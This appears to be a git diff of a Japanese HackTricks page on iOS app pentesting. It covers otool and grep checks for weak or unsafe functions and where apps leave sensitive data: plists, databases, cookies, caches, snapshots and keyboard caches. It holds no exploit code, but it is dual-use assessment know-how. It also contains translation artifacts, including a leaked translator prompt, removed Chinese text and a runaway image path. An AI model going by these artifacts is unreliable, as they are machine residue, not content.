* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -45,8 +45,8 @@
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="info" %}
|
||||
以下の手順では、アプリがデバイスにインストールされており、アプリの**IPAファイル**をすでに取得している必要があります。\
|
||||
これを行う方法については、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページを参照してください。
|
||||
以下の手順では、アプリがデバイスに**インストールされている必要があり**、アプリの**IPAファイル**をすでに取得している必要があります。\
|
||||
これを行う方法については、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページを読んでください。
|
||||
{% endhint %}
|
||||
|
||||
### 基本的な静的分析
|
||||
|
@ -76,7 +76,70 @@ otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルを含
|
|||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
|
||||
```
|
||||
|
||||
**感
|
||||
**機密/安全でない関数の識別**
|
||||
|
||||
* **弱いハッシュアルゴリズム**
|
||||
|
||||
```
|
||||
# iOSデバイス上で
|
||||
otool -Iv <app> | grep -w "_CC_MD5"
|
||||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||||
|
||||
# Linux上で
|
||||
grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
* **安全でないランダム関数**
|
||||
|
||||
```
|
||||
# iOSデバイス上で
|
||||
otool -Iv <app> | grep -w "_random"
|
||||
otool -Iv <app> | grep -w "_srand"
|
||||
otool -Iv <app> | grep -w "_rand"
|
||||
|
||||
# Linux上で
|
||||
grep -iER "_random"
|
||||
grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
* **安全でない「Malloc」関数**
|
||||
|
||||
```
|
||||
# iOSデバイス上で
|
||||
otool -Iv <app> | grep -w "_malloc"
|
||||
|
||||
# Linux上で
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
* **安全で脆弱な関数**
|
||||
|
||||
```
|
||||
# iOSデバイス上で
|
||||
otool -Iv <app> | grep -w "_gets"
|
||||
otool -Iv <app> | grep -w "_memcpy"
|
||||
otool -Iv <app> | grep -w "_strncpy"
|
||||
otool -Iv <app> | grep -w "_strlen"
|
||||
otool -Iv <app> | grep -w "_vsnprintf"
|
||||
otool -Iv <app> | grep -w "_sscanf"
|
||||
otool -Iv <app> | grep -w "_strtok"
|
||||
otool -Iv <app> | grep -w "_alloca"
|
||||
otool -Iv <app> | grep -w "_sprintf"
|
||||
otool -Iv <app> | grep -w "_printf"
|
||||
otool -Iv <app> | grep -w "_vsprintf"
|
||||
|
||||
# Linux上で
|
||||
grep -R "_gets"
|
||||
grep -iER "_memcpy"
|
||||
grep -iER "_strncpy"
|
||||
grep -iER "_strlen"
|
||||
grep -iER "_vsnprintf"
|
||||
grep -iER "_sscanf"
|
||||
grep -iER "_strtok"
|
||||
grep -iER "_alloca"
|
||||
grep -iER "_sprintf"
|
||||
grep -iER "_printf"
|
||||
grep -iER "_vsprintf"
|
||||
```
|
||||
### 基本的な動的解析
|
||||
|
||||
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)が実行する動的解析を確認してください。異なるビューをナビゲートし、それらと対話する必要がありますが、いくつかのクラスをフックして他の操作を行い、完了したらレポートを作成します。
|
||||
|
@ -114,7 +177,7 @@ PID Name Identifier
|
|||
* `Assets.car`: アイコンなどのアセットが含まれる別のzipアーカイブです。
|
||||
* `Frameworks/`: .dylibまたは.frameworkファイルとしてのアプリのネイティブライブラリが含まれています。
|
||||
* `PlugIns/`: .appexファイルとしてのアプリの拡張機能が含まれている場合があります(例では表示されません)。
|
||||
* [`Core Data`](https://developer.apple.com/documentation/coredata): オフラインでアプリケーションの永続的なデータを保存し、一時的なデータをキャッシュし、アプリケーションの単一のデバイス上でアンドゥ機能を追加するために使用されます。単一のiCloudアカウント内の複数のデバイス間でデータを同期するために、Core Dataはスキーマを自動的にCloudKitコンテナにミラーリングします。
|
||||
* [`Core Data`](https://developer.apple.com/documentation/coredata): オフラインでアプリケーションの永続的なデータを保存し、一時的なデータをキャッシュし、アプリケーションのアンドゥ機能を追加するために使用されます。単一のiCloudアカウント内の複数のデバイス間でデータを同期するために、Core Dataはスキーマを自動的にCloudKitコンテナにミラーリングします。
|
||||
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。
|
||||
* **en.lproj, fr.proj, Base.lproj**: これらは、特定の言語のリソースと、言語がサポートされていない場合のデフォルトリソースを含む言語パックです。
|
||||
|
||||
|
@ -126,19 +189,19 @@ iOSアプリケーションでUIを定義するための複数の方法があり
|
|||
|
||||
ファイルは**XMLまたはバイナリ(bplist)**でフォーマットされている場合があります。次の単純なコマンドを使用して、XML形式に変換できます。
|
||||
|
||||
* macOSの場合は、macOS 10.2以降のバージョンにネイティブで付属しているツールである`plutil`を使用します(公式のオンラインドキュメントは現在利用できません):
|
||||
* macOSの場合は、macOS 10.2以降のバージョンにネイティブに付属しているツールである`plutil`を使用します(公式のオンラインドキュメントは現在利用できません):
|
||||
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
* Linuxの場合:
|
||||
* Linuxの場合:
|
||||
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
|
||||
以下は、`Info.plist`ファイル内のいくつかの情報と対応するキーワードの非網羅的なリストです。ファイルを調査するか、`grep -i <keyword> Info.plist`を使用して簡単に検索できます。
|
||||
以下は、`Info.plist`ファイルで簡単に検索できるいくつかの情報と対応するキーワードの非網羅的なリストです。ファイルを調査するか、`grep -i <keyword> Info.plist`を使用して検索できます。
|
||||
|
||||
* アプリの許可目的の文字列: `UsageDescription`
|
||||
* カスタムURLスキーム: `CFBundleURLTypes`
|
||||
|
@ -162,57 +225,57 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
|||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
以下は、モバイルペンテスト/iosペンテスト/README.mdファイルからのコンテンツです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'、pentesting、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
|
||||
以下は、ハッキング技術に関する本の内容です。以下の内容は、mobile-pentesting/ios-pentesting/README.mdファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、マークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
|
||||
|
||||
```markdown
|
||||
如上所述,应用程序有两个主要位置:
|
||||
---
|
||||
|
||||
* **Bundle** **directory** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`)。
|
||||
* **Data directory** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`)。
|
||||
アプリには、次の2つの主要な場所があります:
|
||||
|
||||
这些文件夹包含在应用程序安全评估期间必须仔细检查的信息(例如分析存储的敏感数据时)。
|
||||
* **バンドルディレクトリ** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`)。
|
||||
* **データディレクトリ** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`)。
|
||||
|
||||
**Bundle directory:**
|
||||
これらのフォルダには、アプリケーションのセキュリティ評価中に詳細に調査する必要がある情報が含まれています(たとえば、保存されたデータの機密データの分析時など)。
|
||||
|
||||
**バンドルディレクトリ:**
|
||||
|
||||
* **AppName.app**
|
||||
* 这是之前在IPA中看到的应用程序包,它包含了必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
||||
* 此目录对用户可见,但**用户无法写入**。
|
||||
* 此目录中的内容**不会备份**。
|
||||
* 此文件夹的内容用于**验证代码签名**。
|
||||
* これはIPAで以前に見たアプリケーションバンドルであり、必要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイルされたバイナリを含んでいます。
|
||||
* このディレクトリはユーザーには見えますが、**ユーザーは書き込むことはできません**。
|
||||
* このディレクトリの内容は**バックアップされません**。
|
||||
* このフォルダの内容は、コードの署名を**検証するために使用**されます。
|
||||
|
||||
**Data directory:**
|
||||
**データディレクトリ:**
|
||||
|
||||
* **Documents/**
|
||||
* 包含所有用户生成的数据。应用程序最终用户启动了此数据的创建。
|
||||
* 对用户可见,**用户可以写入**。
|
||||
* 此目录中的内容**会备份**。
|
||||
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
* ユーザーが生成したすべてのデータが含まれています。このデータの作成は、アプリケーションのエンドユーザーによって開始されます。
|
||||
* ユーザーに見え、**ユーザーは書き込むことができます**。
|
||||
* このディレクトリの内容は**バックアップされます**。
|
||||
* アプリは、`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にすることができます。
|
||||
* **Library/**
|
||||
* 包含所有**非用户特定**的文件,例如**缓存**、**首选项**、**Cookie**和属性列表(plist)配置文件。
|
||||
* iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
|
||||
* **ユーザー固有ではない**すべてのファイルが含まれています。これには、**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)の設定ファイルが含まれます。
|
||||
* iOSアプリは通常、`Application Support`と`Caches`のサブディレクトリを使用しますが、アプリはカスタムのサブディレクトリを作成することもできます。
|
||||
* **Library/Caches/**
|
||||
* 包含**半持久性缓存文件**。
|
||||
* 对用户不可见,**用户无法写入**。
|
||||
* 此目录中的内容**不会备份**。
|
||||
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
|
||||
* **一時的にキャッシュされたファイル**が含まれています。
|
||||
* ユーザーには見えず、**ユーザーは書き込むことはできません**。
|
||||
* このディレクトリの内容は**バックアップされません**。
|
||||
* アプリが実行されていないときやストレージ容量が不足しているときに、OSがこのディレクトリのファイルを自動的に削除する場合があります。
|
||||
* **Library/Application Support/**
|
||||
* 包含运行应用程序所需的**持久性文件**。
|
||||
* 对用户**不可见**,用户无法写入。
|
||||
* 此目录中的内容**会备份**。
|
||||
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
* アプリの実行に必要な**永続的なファイル**が含まれています。
|
||||
* ユーザーには**見えず**、ユーザーは書き込むことはできません。
|
||||
* このディレクトリの内容は**バックアップされます**。
|
||||
* アプリは、`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にすることができます。
|
||||
* **Library/Preferences/**
|
||||
* 用于存储可以**在应用程序重新启动后仍然存在**的属性。
|
||||
* 信息以未加密的形式保存在应用程序沙箱中的名为\[BUNDLE\_ID].plist的plist文件中。
|
||||
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
|
||||
* **アプリケーションが再起動しても永続化される**プロパティの保存に使用されます。
|
||||
* 情報は、\[BUNDLE\_ID].plistという名前のplistファイル内に、暗号化されていない状態でアプリケーションのサンドボックス内に保存されます。
|
||||
* `NSUserDefaults`を使用して保存されたすべてのキー/値のペアは、このファイル内で見つけることができます。
|
||||
* **tmp/**
|
||||
* 使用此目录来写入**不需要在应用程序启动之间持久存在**的临时文件。
|
||||
* 包含非持久性缓存文件。
|
||||
* 对用户**不可见**。
|
||||
* 此目录中的内容不会备份。
|
||||
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
|
||||
* アプリの起動間に永続化する必要のない**一時ファイル**を書き込むためにこのディレクトリを使用します。
|
||||
* 非永続的なキャッシュファイルが含まれています。
|
||||
* ユーザーには**見えません**。
|
||||
* このディレクトリの内容はバックアップされません。
|
||||
* アプリが実行されていないときやストレージ容量が不足しているときに、OSがこのディレクトリのファイルを自動的に削除する場合があります。
|
||||
|
||||
让我们仔细查看iGoat-Swift的应用程序包(.app)目录,位于Bundle目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```
|
||||
iGoat-Swiftのバンドルディレクトリ(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)内のアプリケーションバンドル(.app)ディレクトリを詳しく見てみましょう。
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
|
@ -242,9 +305,9 @@ DVIA-v2:
|
|||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||||
[...]
|
||||
```
|
||||
**アプリが暗号化されているかどうかを確認する**
|
||||
**アプリが暗号化されているか確認する**
|
||||
|
||||
次のコマンドの出力があるかどうかを確認してください:
|
||||
次のコマンドを実行して、出力があるか確認してください:
|
||||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
|
@ -306,7 +369,7 @@ double _field2;
|
|||
```
|
||||
ただし、バイナリを逆アセンブルするための最良のオプションは、[**Hopper**](https://www.hopperapp.com/download.html?)と[**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/)です。
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -323,17 +386,17 @@ iOSがデバイスにデータを保存する方法については、次のペ
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
次の情報の保存場所は、アプリケーションの**インストール直後**、アプリケーションの**すべての機能を確認した後**、さらには**1つのユーザーからログアウトして別のユーザーにログインした後**にチェックする必要があります。\
|
||||
情報を保存するための以下の場所は、**アプリケーションをインストールした直後**、**アプリケーションのすべての機能を確認した後**、さらには**1つのユーザーからログアウトして別のユーザーにログインした後**にチェックする必要があります。\
|
||||
目標は、アプリケーション(パスワード、トークン)、現在のユーザー、以前にログインしたユーザーの**保護されていない機密情報**を見つけることです。
|
||||
{% endhint %}
|
||||
|
||||
### Plist
|
||||
|
||||
**plist**ファイルは、**キーと値のペアを含む**構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、したがって、これらのファイルには**機密情報が含まれている場合があります**。アプリをインストールした後や、アプリを集中的に使用した後に新しいデータが書き込まれているかどうかを確認するために、これらのファイルをチェックすることをお勧めします。
|
||||
**plist**ファイルは、**キーと値のペアを含む**構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、したがって、これらのファイルには**機密情報が含まれている場合があります**。アプリをインストールした後や、アプリを集中的に使用した後に、新しいデータが書き込まれているかどうかを確認するために、これらのファイルをチェックすることをお勧めします。
|
||||
|
||||
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**の使用です。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**の中にアプリのサンドボックス内に保存されます。
|
||||
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**の使用です。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**にアプリのサンドボックス内に保存されます。
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトのシステムとのプログラム的なインターフェースを提供します。デフォルトのシステムにより、アプリケーションは**ユーザーの設定に応じて動作をカスタマイズ**することができます。`NSUserDefaults`に保存されたデータは、アプリケーションバンドル内で表示することができます。このクラスはデータをplistファイルに保存しますが、少量のデータと一緒に使用することを意図しています。
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトのシステムとのプログラム的なインターフェースを提供します。デフォルトのシステムにより、アプリケーションは**ユーザーの設定に応じて動作をカスタマイズ**することができます。`NSUserDefaults`に保存されたデータは、アプリケーションバンドルで表示することができます。このクラスは、データをplistファイルに保存しますが、少量のデータと一緒に使用することを意図しています。
|
||||
|
||||
このデータは、信頼できるコンピュータから直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスすることができます。
|
||||
|
||||
|
@ -343,7 +406,7 @@ plistファイルにデータを永続化する最も一般的な方法は、**N
|
|||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
ファイルは**XMLまたはバイナリ(bplist)**形式でフォーマットされている可能性があります。次の単純なコマンドを使用して、XML形式に変換することができます:
|
||||
ファイルは**XMLまたはバイナリ(bplist)**形式でフォーマットされている可能性があります。次の単純なコマンドを使用して、XML形式に変換できます:
|
||||
|
||||
* macOSでは、`plutil`を使用します。これはmacOS 10.2以降のバージョンにネイティブに付属しているツールです(公式のオンラインドキュメントは現在利用できません):
|
||||
|
||||
|
@ -404,7 +467,7 @@ YapデータベースはSQLiteデータベースなので、前のセクショ
|
|||
|
||||
### その他のSQLiteデータベース
|
||||
|
||||
アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が保存されており、暗号化されていない状態で残されている可能性があります。そのため、アプリケーションディレクトリ内のすべてのデータベースをチェックすることは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が保存されており、暗号化されていない場合があります。そのため、アプリケーションディレクトリ内のすべてのデータベースをチェックすることは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
|
@ -429,7 +492,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
|||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
このデータベースファイルを開くために、ツール[**Realm Studio**](https://github.com/realm/realm-studio)を使用することができます。
|
||||
このデータベースファイルを開くために、[**Realm Studio**](https://github.com/realm/realm-studio)というツールを使用することができます。
|
||||
|
||||
以下の例は、Realmデータベースで暗号化を使用する方法を示しています:
|
||||
```swift
|
||||
|
@ -447,14 +510,14 @@ fatalError("Error opening realm: \(error)")
|
|||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)は、軽量で埋め込み型のドキュメント指向(NoSQL)データベースエンジンであり、同期が可能です。iOSおよびmacOS向けにネイティブにコンパイルされます。
|
||||
|
||||
`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`にある可能性のあるCouchbaseデータベースをチェックしてください。
|
||||
`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`には、Couchbaseデータベースが存在する可能性がありますので、確認してください。
|
||||
|
||||
### クッキー
|
||||
|
||||
iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**に保存します。ただし、開発者は時々、バックアップでアクセスできるという理由で、これらを**キーチェーン**に保存することを選択することもあります。
|
||||
|
||||
クッキーファイルを調査するには、[**このPythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\
|
||||
これらのファイルをJSON形式に変換してデータを調査するためにも、objectionを使用することもできます。
|
||||
また、objectionを使用してこれらのファイルをJSON形式に変換し、データを調査することもできます。
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
|
@ -476,7 +539,7 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
|
|||
|
||||
リクエストまたはレスポンスに機密情報が含まれている可能性があるため、このデータのキャッシュを無効にすることが**推奨されています**。以下のリストは、これを実現するためのさまざまな方法を示しています:
|
||||
|
||||
1. ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)というメソッドを使用して行うことができます。次のようにこのメソッドを呼び出すことができます:
|
||||
1. ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。これはAppleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)というメソッドを使用して行うことができます。次のようにこのメソッドを呼び出すことができます:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
|
@ -485,8 +548,8 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
|
|||
|
||||
[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成(defaultを参照)と似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスク上のセッション関連データを保存しません。代わりに、セッション関連のデータはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。`
|
||||
3. キャッシュは、キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで無効にすることもできます。これにより、キャッシュがメモリまたはディスクに保存されなくなります。
|
||||
`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成オブジェクト(defaultを参照)と似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスク上のセッション関連データを保存しません。代わりに、セッション関連のデータはRAMに保存されます。ephemeralセッションがデータをディスクに書き込むのは、URLの内容をファイルに書き込むように指示した場合のみです。`
|
||||
3. キャッシュは、キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで無効にすることもできます。これにより、メモリまたはディスク上のいかなる方法でもキャッシュの保存が無効になります。
|
||||
|
||||
### スナップショット
|
||||
|
||||
|
@ -494,7 +557,7 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
|
|||
|
||||
iPhoneがジェイルブレイクされていない限り、**攻撃者**はこれらのスクリーンショットを見るためには、**デバイスにアクセスするためのブロック解除**が必要です。デフォルトでは、最後のスナップショットはアプリのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダに保存されます(信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。
|
||||
|
||||
この問題を防ぐための方法の一つは、スナップショットを撮る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行うことができます。
|
||||
この問題を防ぐ方法の一つは、スナップショットを撮る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行うことができます。
|
||||
|
||||
以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。
|
||||
|
||||
|
@ -549,12 +612,12 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
|||
|
||||
## カスタムキーボード/キーボードキャッシュ
|
||||
|
||||
iOS 8.0以降、AppleはカスタムキーボードなどのiOS用のカスタム拡張機能のインストールを許可しています。\
|
||||
iOS 8.0以降、Appleはカスタムキーボードなどのカスタム拡張機能をiOSにインストールすることを許可しています。\
|
||||
インストールされたキーボードは、**設定** > **一般** > **キーボード** > **キーボード** から管理できます。\
|
||||
カスタムキーボードは、**キーストローク**を**スニフィング**して、それらを攻撃者のサーバーに送信することができます。ただし、**ネットワーキング接続が必要なカスタムキーボードはユーザーに通知されます。**\
|
||||
カスタムキーボードは、**キーストローク**をスニフィングしてそれらを攻撃者のサーバーに送信することができます。ただし、**ネットワーキング接続が必要なカスタムキーボードはユーザーに通知されます。**\
|
||||
また、**ユーザーは別の**(より信頼性の高い)**キーボード**に切り替えて資格情報を入力することができます。
|
||||
|
||||
さらに、**アプリケーションは、アプリ内(または少なくともアプリの重要な部分に対して)カスタムキーボードの使用を制限する**ことができます。
|
||||
さらに、**アプリケーションは、アプリ内でカスタムキーボードの使用を制限**することができます(または少なくともアプリの重要な部分では制限できます)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
ユーザーがそれらを必要としないと考える場合、サードパーティのキーボードを許可しないことをお勧めします。
|
||||
|
@ -567,7 +630,7 @@ iOS 8.0以降、AppleはカスタムキーボードなどのiOS用のカスタ
|
|||
|
||||
{% hint style="info" %}
|
||||
したがって、これらのファイルを常にチェックし、可能な**機密情報**を検索してください。\
|
||||
カスタムキーボードがキーストロークをリモートサーバーに送信しているかどうかを確認するために、**ネットワークトラフィックを傍受**することもできます。
|
||||
ネットワークトラフィックを傍受することで、カスタムキーボードがキーストロークをリモートサーバーに送信しているかどうかを確認することもできます。
|
||||
{% endhint %}
|
||||
|
||||
キーボードキャッシュには、[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits)が使用されます。UITextField、UITextView、およびUISearchBarクラスは、このプロトコルを自動的にサポートし、次のプロパティを提供します。
|
||||
|
@ -627,7 +690,7 @@ Xcodeの**デバイス**ウィンドウを通じてコンソールログを収
|
|||
5. 問題を再現します。
|
||||
6. デバイスウィンドウの右上にある**コンソールを開く**ボタンをクリックして、別のウィンドウでコンソールログを表示します。
|
||||
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 